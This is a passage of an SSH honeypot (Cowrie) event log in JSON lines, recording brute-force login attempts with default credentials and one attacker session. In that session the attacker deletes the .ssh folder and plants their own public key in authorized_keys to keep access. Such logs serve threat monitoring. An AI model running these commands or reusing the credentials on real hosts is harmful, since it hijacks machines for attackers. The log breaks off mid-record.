{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:27.113311Z","src_ip":"161.248.147.153","session":"33546ef67004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:27.365485Z","src_ip":"161.248.147.153","session":"33546ef67004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:27.873971Z","src_ip":"161.248.147.153","session":"33546ef67004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:29.130885Z","src_ip":"161.248.147.153","session":"33546ef67004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.147.153","src_port":44524,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc29543d4bbe","protocol":"ssh","message":"New connection: 161.248.147.153:44524 (10.17.0.5:22) [session: cc29543d4bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:59.382182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:59.386248Z","src_ip":"161.248.147.153","session":"cc29543d4bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:08:59.652257Z","src_ip":"161.248.147.153","session":"cc29543d4bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orangepi","password":"orangepi","message":"login attempt [orangepi/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:00.169202Z","src_ip":"161.248.147.153","session":"cc29543d4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:01.436906Z","src_ip":"161.248.147.153","session":"cc29543d4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.27.234","src_port":56921,"dst_ip":"159.203.135.109","dst_port":22,"session":"29630f43022e","protocol":"ssh","message":"New connection: 154.221.27.234:56921 (159.203.135.109:22) [session: 29630f43022e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:21.815306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:21.819486Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":60602,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eedc47ae4df","protocol":"ssh","message":"New connection: 93.71.118.99:60602 (159.203.135.109:22) [session: 7eedc47ae4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:21.994236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:21.999258Z","src_ip":"93.71.118.99","session":"7eedc47ae4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:22.036583Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:22.114119Z","src_ip":"93.71.118.99","session":"7eedc47ae4df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:22.585468Z","src_ip":"93.71.118.99","session":"7eedc47ae4df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:22.931150Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:23.396893Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:23.399960Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:23.403547Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:23.626216Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:23.688573Z","src_ip":"93.71.118.99","session":"7eedc47ae4df","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.093487Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.097068Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.316631Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.320854Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.27.234","src_port":57277,"dst_ip":"159.203.135.109","dst_port":22,"session":"644eeb521a81","protocol":"ssh","message":"New connection: 154.221.27.234:57277 (159.203.135.109:22) [session: 644eeb521a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.510866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.515255Z","src_ip":"154.221.27.234","session":"644eeb521a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:24.725634Z","src_ip":"154.221.27.234","session":"644eeb521a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:25.569055Z","src_ip":"154.221.27.234","session":"644eeb521a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:26.775010Z","src_ip":"154.221.27.234","session":"644eeb521a81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.27.234","src_port":57481,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4d1f755d855","protocol":"ssh","message":"New connection: 154.221.27.234:57481 (159.203.135.109:22) [session: f4d1f755d855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:26.973590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:26.979197Z","src_ip":"154.221.27.234","session":"f4d1f755d855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:27.178793Z","src_ip":"154.221.27.234","session":"f4d1f755d855","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:27.991322Z","src_ip":"154.221.27.234","session":"f4d1f755d855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:28.197863Z","src_ip":"154.221.27.234","session":"f4d1f755d855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:28.202373Z","src_ip":"154.221.27.234","session":"29630f43022e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.147.153","src_port":45174,"dst_ip":"10.17.0.5","dst_port":22,"session":"194c75528a7d","protocol":"ssh","message":"New connection: 161.248.147.153:45174 (10.17.0.5:22) [session: 194c75528a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:31.667263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:09:31.671874Z","src_ip":"161.248.147.153","session":"194c75528a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 